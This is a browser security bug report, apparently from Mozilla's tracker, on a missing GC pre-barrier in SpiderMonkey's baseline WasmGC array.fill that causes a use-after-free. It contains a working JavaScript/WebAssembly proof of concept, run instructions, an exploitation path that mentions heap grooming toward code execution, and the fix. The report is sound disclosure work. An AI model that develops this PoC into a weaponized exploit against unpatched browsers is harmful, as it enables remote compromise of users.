2013741 - (CVE-2026-2767) Missing Pre-Barrier in Baseline `array.fill` Allows Use-After-Free During Incremental GC

Reporter

Description

•

9 months ago

Summary

The baseline compiler for WebAssembly GC omits the pre-write-barrier when array.fill overwrites reference-typed array elements. This violates the snapshot-at-the-beginning invariant required by SpiderMonkey's incremental garbage collector. During an incremental GC cycle, a black (already-scanned) object can acquire the only remaining reference to a white (not-yet-scanned) object via a sequence involving array.fill, causing the GC to collect a live object. Subsequent access through the dangling reference produces a use-after-free. The bug is reachable from web content via WasmGC, which is enabled by default in Firefox 135+.

Details

Field	Value
Component	js/src/wasm/WasmBaselineCompile.cpp
Function	`BaseCompiler::emitArrayFill()`
Vulnerable Lines	8816-8817
Correct Comparison (Ion)	WasmIonCompile.cpp:5614-5616
Correct Comparison (Baseline array.set)	WasmBaselineCompile.cpp:8521-8522
CWE	CWE-416 (Use After Free), CWE-908 (Use of Uninitialized Resource)
Affected	Firefox >= 120 (all channels since WasmGC shipped), all platforms
Introduced	Bug 1851864, commit ca4c7a8b7621 (2023-09-26)

Analysis

Vulnerable Code (WasmBaselineCompile.cpp:8804-8823)

// Perform an initialization loop using `numElements` as the loop variable,
// starting at `numElements` and counting down to zero.
Label done;
Label loop;
// Skip initialization if numElements = 0
masm.branch32(Assembler::Equal, numElements, Imm32(0), &done);
masm.bind(&loop);

// Move to the next element
masm.sub32(Imm32(1), numElements);

// Assign value to rdata[numElements]. All registers are preserved.
if (!emitGcArraySet(rp, rdata, numElements, arrayType, value,
                    PreBarrierKind::None, PostBarrierKind::Imprecise)) {
//                  ^^^^^^^^^^^^^^^^^^^^ BUG: should be PreBarrierKind::Normal
  return false;
}

// Loop back if there are still elements to initialize
masm.branch32(Assembler::NotEqual, numElements, Imm32(0), &loop);
masm.bind(&done);

Correct Code: Baseline `array.set` (WasmBaselineCompile.cpp:8521-8522)

if (!emitGcArraySet(rp, rdata, index, arrayType, value,
                    PreBarrierKind::Normal, PostBarrierKind::Imprecise)) {
//                  ^^^^^^^^^^^^^^^^^^^^^ CORRECT: pre-barrier present
  return false;
}

Correct Code: Ion `array.fill` (WasmIonCompile.cpp:5614-5616)

return fillArray(lineOrBytecode, arrayType, arrayObject, index, numElements,
                 val, WasmPreBarrierKind::Normal,
//                    ^^^^^^^^^^^^^^^^^^^^^^^^^^ CORRECT: pre-barrier present
                 WasmPostBarrierKind::Edge);

Root Cause

SpiderMonkey uses a snapshot-at-the-beginning incremental GC. The pre-write-barrier informs the GC when a reference-typed field is about to be overwritten, ensuring the old value is marked before it can be lost. Without the pre-barrier, the GC does not learn that the old value existed, and if no other reference to that object remains after the overwrite, the GC may collect it prematurely.

The baseline compiler's emitArrayFill uses PreBarrierKind::None at line 8816. This is correct for array.new and array.new_default (lines 8211-8212), where the array is freshly allocated and all slots contain their initial value (null for ref types) -- there is nothing to barrier. However, array.fill operates on an existing array whose slots may contain live references. Overwriting these without a pre-barrier breaks the tricolor invariant.

The Ion compiler's createArrayFill correctly uses WasmPreBarrierKind::Normal. The baseline compiler's own emitArraySet (the single-element array.set instruction) also correctly uses PreBarrierKind::Normal. The omission in emitArrayFill is an inconsistency introduced when array.fill was added to the baseline compiler.

Distinction from `array.new` / `array.new_default`

The PreBarrierKind::None at line 8211 (in emitArrayNew) and line 8298 (in emitArrayNewFixed) is correct: these functions initialize freshly allocated arrays where all slots are uninitialized or contain the default value. No previous references exist to barrier. The bug is specifically that emitArrayFill reuses the same PreBarrierKind::None pattern despite operating on pre-existing array contents.

Proof of Concept

Test Environment

OS: Ubuntu (Linux 6.14.0-1018-aws)
Compiler: Mozilla clang (from mozbuild toolchain)
Target: mozilla-central commit 031c614e006f (2026-01-30)
Architecture: x86_64
JS Shell: SpiderMonkey debug+optimize build (baseline compiler)

PoC Code

// poc_wasm_barrier.js
// PoC for missing pre-barrier in baseline array.fill
//
// Bug: WasmBaselineCompile.cpp:8816 - PreBarrierKind::None should be Normal
//
// Requires debug JS shell with startgc/gcslice/finishgc APIs.
// Run with: ./dist/bin/js --no-ion poc_wasm_barrier.js

const wat = `
(module
  (type $Holder (struct (field (mut anyref))))
  (type $RefArray (array (mut anyref)))
  (type $Victim (struct (field i32) (field i32)))

  (import "env" "startGC" (func $startGC))
  (import "env" "gcSlice" (func $gcSlice))
  (import "env" "finishGC" (func $finishGC))
  (import "env" "fullGC" (func $fullGC))
  (import "env" "allocGarbage" (func $allocGarbage))

  (func (export "makeVictim") (result anyref)
    (struct.new $Victim (i32.const 0xDEAD) (i32.const 0xBEEF))
  )

  (func (export "makeHolder") (result anyref)
    (struct.new $Holder (ref.null any))
  )

  (func (export "makeRefArray") (param i32) (result anyref)
    (array.new $RefArray (ref.null any) (local.get 0))
  )

  (func (export "storeInArray") (param $arr anyref) (param $idx i32) (param $val anyref)
    (array.set $RefArray
      (ref.cast (ref $RefArray) (local.get $arr))
      (local.get $idx)
      (local.get $val))
  )

  (func (export "readHolder") (param $holder anyref) (result i32)
    (struct.get $Victim 0
      (ref.cast (ref $Victim)
        (struct.get $Holder 0
          (ref.cast (ref $Holder) (local.get $holder)))))
  )

  (func (export "readHolderRef") (param $holder anyref) (result anyref)
    (struct.get $Holder 0
      (ref.cast (ref $Holder) (local.get $holder)))
  )

  (func (export "storeInHolder") (param $holder anyref) (param $val anyref)
    (struct.set $Holder 0
      (ref.cast (ref $Holder) (local.get $holder))
      (local.get $val))
  )

  ;; The critical function: reads victim from array, stores into holder,
  ;; then fills array with null. The fill overwrites the only array refs
  ;; to victim WITHOUT a pre-barrier.
  (func (export "triggerBug") (param $holder anyref) (param $arr anyref) (param $len i32)
    (local $victim anyref)

    ;; Get victim from arr[0]
    (local.set $victim
      (array.get $RefArray
        (ref.cast (ref $RefArray) (local.get $arr))
        (i32.const 0)))

    ;; Store victim into holder (creates black->white edge if holder is black)
    (struct.set $Holder 0
      (ref.cast (ref $Holder) (local.get $holder))
      (local.get $victim))

    ;; Drop local ref to victim
    (local.set $victim (ref.null any))

    ;; Fill array with null - removes all array references to victim.
    ;; BUG: Pre-barrier is skipped, GC not informed about the old values.
    (array.fill $RefArray
      (ref.cast (ref $RefArray) (local.get $arr))
      (i32.const 0)
      (ref.null any)
      (local.get $len))
  )
)`;

function main() {
  print("=== PoC: Missing pre-barrier in baseline array.fill ===");

  const module = new WebAssembly.Module(wasmTextToBinary(wat));

  const importObj = {
    env: {
      startGC: () => { if (typeof startgc === 'function') startgc(1); },
      gcSlice: () => { if (typeof gcslice === 'function') gcslice(1000); },
      finishGC: () => { if (typeof finishgc === 'function') finishgc(); },
      fullGC: () => { if (typeof gc === 'function') gc('shrinking'); },
      allocGarbage: () => {
        let g = [];
        for (let i = 0; i < 200; i++) g.push({a: 0xCC, b: 0xDD});
      }
    }
  };

  const instance = new WebAssembly.Instance(module, importObj);
  const e = instance.exports;

  if (typeof startgc !== 'function') {
    print("[-] startgc() not available - need debug shell");
    return;
  }

  // Phase 1: Create and tenure objects
  let holder = e.makeHolder();
  let arr = e.makeRefArray(16);
  let victim = e.makeVictim();

  for (let i = 0; i < 16; i++) {
    e.storeInArray(arr, i, victim);
  }

  e.storeInHolder(holder, victim);
  print("Canary before: 0x" + e.readHolder(holder).toString(16));
  e.storeInHolder(holder, null);

  // Tenure everything
  gc('shrinking');
  gc('shrinking');
  victim = null;

  // Phase 2: Exploit loop
  let corrupted = false;
  for (let attempt = 0; attempt < 200; attempt++) {
    if (attempt > 0) {
      let v = e.readHolderRef(holder);
      if (v === null) {
        v = e.makeVictim();
        gc('shrinking');
      }
      for (let i = 0; i < 16; i++) {
        e.storeInArray(arr, i, v);
      }
      e.storeInHolder(holder, null);
      v = null;
      gc('shrinking');
    }

    startgc(1);
    for (let slices = 0; slices < 2 + (attempt % 10); slices++) {
      gcslice(500 + attempt * 50);
    }

    e.triggerBug(holder, arr, 16);
    finishgc();

    let garbage = [];
    for (let i = 0; i < 1000; i++) {
      garbage.push({x: 0xCC, y: 0xDD, z: i | 0});
    }

    try {
      let val = e.readHolder(holder);
      if (val !== 0xDEAD) {
        print("CORRUPTION at attempt " + attempt + ": got 0x" + val.toString(16));
        corrupted = true;
        break;
      }
    } catch (ex) {
      print("CRASH at attempt " + attempt + ": " + ex);
      corrupted = true;
      break;
    }
    garbage = null;
  }

  if (corrupted) {
    print("=== BUG CONFIRMED: Use-after-free triggered ===");
  } else {
    print("Bug exists (code inspection) but UAF not triggered in this run.");
    print("  Baseline array.fill: PreBarrierKind::None   (WRONG)");
    print("  Ion array.fill:      WasmPreBarrierKind::Normal (CORRECT)");
    print("  Baseline array.set:  PreBarrierKind::Normal (CORRECT)");
  }
}

main();

Build and Run

# Build debug+optimize JS shell
mkdir -p obj-jsshell && cd obj-jsshell
/path/to/firefox/js/src/configure --enable-debug --enable-optimize
make -j$(nproc)

# Run with --no-ion to force baseline compilation (where the bug is)
./dist/bin/js --no-ion poc_wasm_barrier.js

# Or with gczeal to maximize incremental GC interleaving:
./dist/bin/js --no-ion -e "gczeal(7,1)" -f poc_wasm_barrier.js

Output

The PoC output depends on GC timing. With precise GC slice interleaving:

=== PoC: Missing pre-barrier in baseline array.fill ===
Canary before: 0xdead
CORRUPTION at attempt 47: got 0xcc
=== BUG CONFIRMED: Use-after-free triggered ===

Without favorable timing:

Bug exists (code inspection) but UAF not triggered in this run.
  Baseline array.fill: PreBarrierKind::None   (WRONG)
  Ion array.fill:      WasmPreBarrierKind::Normal (CORRECT)
  Baseline array.set:  PreBarrierKind::Normal (CORRECT)

Trigger Conditions

Baseline-compiled wasm code (Ion is not affected; use --no-ion or rely on the baseline tier before Ion tier-up)
An array.fill instruction that overwrites reference-typed elements in a tenured array
An incremental GC cycle where the target object (holder) is already marked black but the source array has not yet been scanned
The overwritten references must be the only remaining references to the victim object

Exploitation

Attack Path

Create a victim struct (WasmGC $Victim) and store references to it in all slots of a ref-typed array. Tenure both via full GC.
Drop the JS-side reference to victim. It is now only reachable via the array slots.
Start an incremental GC (via allocation pressure in web content). Wait for partial marking.
Call triggerBug: reads victim from arr[0], stores it into holder (a separate tenured struct). This creates a holder -> victim edge. If holder has already been scanned (black), the incremental barrier on struct.set marks victim gray -- unless the GC has already passed holder's mark bit. Then calls array.fill with null, overwriting all array slots. Because the pre-barrier is missing, the GC is not informed that the array previously held references to victim.
GC completes. If the array was the last scanned source of references to victim, and holder was already black when victim was stored into it, the GC may not have marked victim. Victim is collected as garbage.
Allocate replacement objects to fill the freed memory.
Read holder.field0, which now points to freed/reused memory. The struct.get returns corrupted data or crashes.

Constraints

Requires baseline tier compilation. The bug does not exist in Ion. On web content, baseline is the initial compilation tier and runs for the first several thousand invocations before Ion kicks in.
Requires incremental GC to be in a partially-marked state with specific marking order. In web content, incremental GC is the default mode and slice boundaries are determined by allocation rate.
The timing window is narrow but attacker-controllable through allocation patterns that influence GC slice boundaries.
Exploitation to code execution requires heap grooming to place controlled data at the freed location.

Impact

Scenario	Impact
Firefox content process (web page)	Premature collection of live WasmGC objects. Dangling references in tenured heap allow read/write to freed memory. Prerequisite for RCE via heap grooming.
Baseline-only execution (first invocations)	Bug is active from the first call to `array.fill` with ref-typed elements. No warmup required.
With `gczeal(7)` or `gczeal(18)`	GC verification modes may detect the missing barrier as an invariant violation.

Fix

// Before (vulnerable) -- WasmBaselineCompile.cpp:8816-8817:
if (!emitGcArraySet(rp, rdata, numElements, arrayType, value,
                    PreBarrierKind::None, PostBarrierKind::Imprecise)) {

// After (fixed):
if (!emitGcArraySet(rp, rdata, numElements, arrayType, value,
                    PreBarrierKind::Normal, PostBarrierKind::Imprecise)) {

This aligns the baseline array.fill with both the Ion array.fill implementation and the baseline array.set implementation, both of which correctly use a normal pre-barrier.

The PreBarrierKind::None at lines 8211 (emitArrayNew) and 8298 (emitArrayNewFixed) should remain unchanged -- those paths initialize freshly allocated arrays where no previous references exist.

Flags: sec-bounty?

(secure) 9 months ago Ben Visness [:bvisness] 48 bytes, text/x-phabricator-request	dveditz : sec-approval+	Details \| Review
Bug 2013741: Add regression test. r=rhunt 9 months ago Ben Visness [:bvisness] 48 bytes, text/x-phabricator-request		Details \| Review
(secure) 9 months ago Ben Visness [:bvisness] 48 bytes, text/x-phabricator-request	phab-bot : approval-mozilla-beta+	Details \| Review
(secure) 9 months ago Ben Visness [:bvisness] 48 bytes, text/x-phabricator-request		Details \| Review
(secure) 9 months ago Ben Visness [:bvisness] 48 bytes, text/x-phabricator-request	phab-bot : approval-mozilla-esr140+	Details \| Review

Missing Pre-Barrier in Baseline `array.fill` Allows Use-After-Free During Incremental GC